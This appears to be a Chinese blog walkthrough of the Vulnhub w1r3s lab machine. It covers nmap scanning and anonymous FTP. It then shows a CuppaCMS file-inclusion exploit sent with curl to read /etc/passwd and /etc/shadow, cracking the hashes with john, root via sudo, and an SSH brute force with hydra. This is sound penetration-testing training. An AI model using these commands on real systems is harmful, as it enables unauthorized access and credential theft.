【Vulnhub靶机】w1r3s.v1.0.1-CuppaCMS

news2025/1/16 20:08:30

文档说明:https://www.vulnhub.com/entry/w1r3s-101,220/

靶机下载:Download (Mirror):

信息收集

主机发现

  • -sn 扫描整个C段,不进行端口扫描,只打印可用主机,n代表not port scan
sudo nmap -sn 10.9.75.0/24 -oA
sudo arp-scan -l

image-20231203154614400

靶机IP:10.9.75.11

端口扫描

简单扫描

sudo nmap -sT --min-rate 10000 -p- 10.9.75.11 -oA scan/ports

-sT TCP扫描
--min-rate 指定最低速率扫描,每秒发包速率,
-p-   指定1-65535 全端口扫描
-oA 指定扫描结果的存放位置,有三种不同的输出格式,会存储在scan文件下,命名为ports

image-20231203160419583

查看端口扫描的输出结果

image-20231203161007277

如果在扫描来端口过多的情况下,可以使用命令把扫出的端口单独提取出来,

grep open ports.nmap | awk -F'/' '{print $1}' | paste -sd ','


paste -s表示合并到一行,-d是指定分割符

效果展示:

image-20231203161507698

也可以把上面的命令指定给一个变量

ports=$(grep open ports.nmap | awk -F'/' '{print $1}' | paste -sd ',')

image-20231203161639633

详细信息扫描

sudo nmap -sT -sC -sV -O -p 21,22,80,3306 10.9.75.11 -oA scan/details

image-20231203163215421

扫描结果:

​ 21 ftp 允许匿名登陆

​ 22 ssh,在渗透测试时的优先级靠后

​ 80 apache2.4.18 Ubuntu

​ 3306 mysql

UDP扫描

sudo nmap -sU  --top-ports 20 10.9.75.11 -oA scam/udp

image-20231203162151599

漏洞脚本扫描

sudo nmap --script=vuln -p21,22,80,3306 10.9.75.11 -oA scan/vuln

image-20231203163050800

在渗透测试时,DOS攻击一般不会选,过于暴力,没有技术含量

漏洞探测

FTP探测

在前面的nmap扫描结果中,显示可以允许frp匿名登陆

匿名用户:anonymous

image-20231203164118373

登陆 成功,提示使用二进制模式传输文件

binary

image-20231203164355178

如果不切换二进制模式,否则下载下来的可执行文件很可能是坏的

可以使用?查看ftp的交互命令

image-20231203164639742

发现在content文件夹里有三个 文件,可以尝试下载下来,在下载之前需要使用一个命令prompt,把交互式的提示模式关掉,这样不用每一次都要我们确认,下载多个文件时候mget,下载单个文件的话使用get

image-20231203165010350

再去看看其他文件夹里的东西

image-20231203165436430

image-20231203165518486

ftp里的内容都下载下来之后,就可以使用quit命令退出ftp了

然后查看所有下载下来的.txt文件

cat *.txt

image-20231203170315474

MD5:01ec2d8fc11c493b25029fb1f47f39ce

BASE64:SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==

员工信息:员工名字和员工职位

​ Naomi.W - Manager
​ Hector.A - IT Dept
​ Joseph.G - Web Design
​ Albert.O - Web Design
​ Gina.L - Inventory
​ Rico.D - Human Resources

类似于上下颠倒,左右翻转:

​ ı pou,ʇ ʇɥıuʞ ʇɥıs ıs ʇɥǝ ʍɐʎ ʇo ɹooʇ¡

​ …punoɹɐ ƃuıʎɐןd doʇs ‘op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ

进行解密:

MD5破解

image-20231203172612458

使用md5sum进行验证是否正确

echo -n "This is not a password" | md5sum

image-20231203172756186

echo -n "SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg=="| base64 -d

image-20231203172108978

Upside Down Text Converter

image-20231203173837658

image-20231203173912063

综上所述,并没有找到有用的信息,换另一个方向

MySQL探测

image-20231203174224294

显示说不允许kali主机连接数据库,那就换一个方向

Web探测

访问80端口,就是一个默认页面,什么也没有

image-20231203174546147

查看一下该页面源码,值得引起重视的注释部分也没有有用的信息

image-20231203174632191

目录爆破
gobuster dir -u http://10.9.75.11 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

image-20231203175303650

目录爆除了几个目录,可以挨个去访问一下

访问wordpress时,页面发生了跳转,即使加入hosts文件也不行

image-20231203181714040

http://10.9.75.11/javascript/

image-20231203181808176

http://10.9.75.11/administrator/installation/

image-20231203181845703

出现一个安装页面,这个在真实的渗透测试环境中,需要谨慎一下,有可能 点击了Next,去安装之后去导致客户的服务器出现问题,所以需要小心小心再小心

网站的title部分显示Cuppa CMS,可以去网上找历史漏洞或者使用searchsploit去漏洞库里找漏洞利用方式

searchsploit
 searchsploit cuppa cms

image-20231203182103199

找出利用方式的绝对路径

 searchsploit -p php/webapps/25971.txt

image-20231203182222618

也可以使用-m参数直接下载下来

searchsploit cuppa -m php/webapps/25971.txt

image-20231203182357828

查看

image-20231203182537649

image-20231203182636367

接下来,就是要进行漏洞利用了

文件包含利用

文件包含

访问http://10.9.75.11/cuppa/alerts/alertConfigField.php?urlConfig=…/…/…/…/…/…/…/…/…/etc/passwd发现找不到,可能就是路径问题,网站安装的 路径不在cuppa下面,

image-20231203182719403

那看看在不在administrator目录下

http://10.9.75.11/administrator/alerts/alertConfigField.php?urlConfig=…/…/…/…/…/…/…/…/…/etc/passwd

image-20231203182903859

页面有变化,但是没有显示出/etc/passwd的内容,可以看看网页源代码,看看有没有

image-20231203182940442

网页源码也没有内容,这个时候就要考虑是不是不是GET形式传参呢,而且那个利用文件里还提到了Base64编码的问题

去网上找找该CMS的源码看一看,利用文件里给出了位置

/alerts/alertConfigField.php (LINE: 22)


LINE 22:
<?php include($_REQUEST["urlConfig"]); ?>

image-20231203183227183

image-20231203183425608

image-20231203183449303

页码中显示是POST传参,可以借助BurpSuite来改变请求方式,或者使用curl命令字发送post请求

curl --help | grep url

image-20231203183717937

curl --data-urlencode "urlConfig=../../../../../../../../../etc/passwd"  http://10.9.75.11/administrator/alerts/alertConfigField.php 

image-20231203183932743

Burpsuite利用

image-20231203184048549

image-20231203184107090

密码都是x,说明密码存在/etc/shadow

image-20231203184259273

将有密码的都保存再一个shadown.hash文件里,使用jhon来解密

image-20231203185333631

john

john shadow.hash

image-20231203185347026

解出来两个

www-data (www-data)

computer (w1r3s)

GetShell

尝试ssh登陆,发现有sudo 权限,并且拥有所有的root权限

image-20231203185545278

权限提升

sudo /bin/bash

image-20231203185655357

image-20231203185706449

SSH爆破

在ftp中有几个员工姓名,可以拿来做爆破尝试

hydra

hydra -L user.txt -P /usr/share/wordlists/rockyou.txt ssh://10.9.75.11

image-20231203190117809

image-20231203191116351

爆破出用户名,就可以ssh连接,进行提取了

总结

  • nmap扫描获得21,22,80,3306端口
  • 先看匿名的ftp,然后数据库,Web网站
  • 进行80端口的目录爆破,发现CuppaCMS
  • 通过漏洞库和浏览器进行了文件包含漏洞利用
  • 解密shadow文件,解密了两个用户名,尝试登陆,
  • 登陆成功,发现有全部的sudo权限,提权成功
  • 最后22端口,原本没有抱多大希望,但是在最后也是成功爆破出密码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1280954.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

关于安科瑞预付费系统在转供电情况下的应用-安科瑞 蒋静

1 前言 国家从2018年开始对转供电加价开展规范清理以来&#xff0c;已经出来了一系列政策&#xff0c;不仅包括专门针对转供电问题的政策&#xff0c;18-20年间还在每次降电价政策中突出强调了转供电主体不得截留降价红利的要求。从具体内容看&#xff0c;各地政策都鼓励一户一…

MATLAB 自抗扰控制 - Active Disturbance Rejection Control

系列文章目录 MATLAB 模型参考自适应控制 - Model Reference Adaptive Control 文章目录 系列文章目录前言一、控制器结构1.1 一阶逼近1.2 二阶逼近 二、指定控制器参数参考 前言 自抗扰控制 (ADRC) 是一种无模型控制方法&#xff0c;适用于为具有未知动态特性以及内部和外部…

React使用TailwindCSS

React中使用TailwindCSS TailwindCSS是 下载及初始化 可以查看官网对照自己使用的框架进行配置 npm install -D tailwindcss postcss autoprefixer下载完毕后执行如下命令 npx tailwindcss init -p可以发现项目中多了两个文件 其中默认已经进行了配置&#xff0c;我们需要将…

AR助推制造业智能转型:实时远程协作与可视化引领生产创新

制造商面临着多方面的变革&#xff0c;技术的兴起催生了工业物联网&#xff08;IIoT&#xff09;&#xff0c;改变了现代工厂的外貌、系统和流程。同时&#xff0c;全球竞争压力和不断变化的员工队伍要求采用新的员工培训方法&#xff0c;并重新审视工人在工厂中的角色。尽管如…

C# Spire操作Excel数据透视表

一、概述 数据透视表&#xff08;Pivot Table&#xff09;是一种交互式的表&#xff0c;可以进行某些计算&#xff0c;如求和与计数等&#xff0c;可动态地改变透视表版面布置&#xff0c;也可以重新安排行号、列标和页字段。当改变版面布置时&#xff0c;数据透视表也会按照新…

Matter学习笔记(3)——交互模型

一、简介 1.1 交互方式 交互模型层定义了客户端和服务器设备之间可以执行哪些交互。发起交互的节点称为发起者&#xff08;通常为客户端设备&#xff09;&#xff0c;作为交互的接收者的节点称为目标&#xff08;通常为服务器设备&#xff09;。 节点通过以下方式进行交互&a…

短线买入卖出有哪些交易技巧?

前面两节课&#xff0c;我们认识了短线交易&#xff0c;知道了短线交易常见的买入卖出时机&#xff0c;这节课&#xff0c;我们来讲解一下短线买入卖出的一些交易技巧。话不多时&#xff0c;直接进入重点&#xff01; 一、短线交易要果断 短线波动快&#xff0c;在出现买卖信号…

pytorch 中的dim 的作用范围

1. 二维矩阵时 不同的运算&#xff0c; dim 的作用域都是一样的思想&#xff1b; 当数据是二维矩阵时&#xff0c; 可以按照下面的思想理解&#xff1a; 对于矩阵&#xff1a; dim0 按列操作&#xff08;沿列向下&#xff09;。 dim1 按行操作&#xff08;跨行&#xff09;。 …

6-15 复制字符串

#include<stdio.h> #include<string.h> int main(){int i;char s1[80],s2[80];printf("输入的s2是&#xff1a;");scanf("%s",s2);for(i0;i<strlen(s2);i)s1[i]s2[i];printf("复制后的s1是&#xff1a;%s\n",s1); return 0;}

计算机组成原理-指令格式

文章目录 现代计算机的结构回忆&#xff1a;计算机的工作过程总览指令的定义指令格式零地址指令一地址指令二三地址指令四地址指令小结 指令-按指令长度分类指令-按操作码长度分类指令-按操作类型分类总结 现代计算机的结构 回忆&#xff1a;计算机的工作过程 总览 指令的定义 …

【专题】【数列极限】

【整体思路】 【常用不等式】

【并发编程】CountDownLatch详解与原理

&#x1f4eb;作者简介&#xff1a;小明Java问道之路&#xff0c;2022年度博客之星全国TOP3&#xff0c;专注于后端、中间件、计算机底层、架构设计演进与稳定性建设优化&#xff0c;文章内容兼具广度、深度、大厂技术方案&#xff0c;对待技术喜欢推理加验证&#xff0c;就职于…

MQTT客户端、代理(broker)和连接建立

在前篇文章&#xff08;http://t.csdnimg.cn/IamPz&#xff09;中&#xff0c;介绍了发布/订阅架构和MQTT如何据此交换信息&#xff0c;其中的关键概念是&#xff1a; 发布/订阅架构触耦了负责发布信息的客户端&#xff08;发布者&#xff09;和负责接收信息的客户端&#xff…

CSS——复合选择器、CSS特性、背景属性、显示模式

1、复合选择器 复合选择器&#xff1a;由两个或多个基础选择器&#xff0c;通过不同的方式组合而成。 作用&#xff1a;更准确、更高效的选择目标元素&#xff08;标签&#xff09; 1.1 后代选择器 后代选择器&#xff1a;选中某元素的后代元素 选择器写法&#xff1a;父选…

domain参数错误导致讯飞星火大模型:发生错误,错误码为:10404

问题 开通讯飞星火大模型api调用后&#xff0c;使用官方demo调用报错10404&#xff0c;最终发现是domain参数需要跟调用的版本保持一致&#xff0c;1.5&#xff0c;2&#xff0c;3版本分别传general,generalv2,generalv3&#xff0c;传错了还报错10404&#xff0c;感觉真没这必…

zabbix 监控

zabbit 监控 非常成熟的监控软件。 运维人员&#xff0c;尽快系统服务器的状态&#xff0c;网站的流量&#xff0c;服务进程的运行状态。 保证整个集群的工作正常。7*24 zabbix是什么&#xff1a; web界面提供的一种可视化监控服务软件。 分布式的方式系统监控以及网络监控…

Spring MVC数据绑定的几种方法(一)

这篇文章包含spring mvc的默认数据类型绑定和简单数据类型绑定。内容来自实验。 准备&#xff1a; &#xff08;1&#xff09;在IDEA环境中从archetye创建webapp类型的maven项目exp6。 &#xff08;2&#xff09;在src\main目录下创建并标注java源代码文件夹和resources资源文…

栈和队列的OJ题--13.用队列实现栈

13. 用队列实现栈 225. 用队列实现栈 - 力扣&#xff08;LeetCode&#xff09; /*解题思路&#xff1a; 此题可以用两个队列去实现一个栈&#xff0c;每次始终保持一个队列为空&#xff0c; 入栈操作相当于给非空队列进行入队操作 出栈操作相当于非空队列的队尾元素出队&…

Bean的加载控制

Bean的加载控制 文章目录 Bean的加载控制编程式注解式ConditionalOn*** 编程式 public class MyImportSelector implements ImportSelector {Overridepublic String[] selectImports(AnnotationMetadata annotationMetadata) {try {Class<?> clazz Class.forName("…

Qt OpenCV 学习(二):两个简单图片识别案例

1. 寻找匹配物体 1.1 mainwindow.h #ifndef MAINWINDOW_H #define MAINWINDOW_H#include <QMainWindow> #include <opencv2/opencv.hpp>#include <QImage> #include <QString> #include <QPixmap>QT_BEGIN_NAMESPACE namespace Ui { class Main…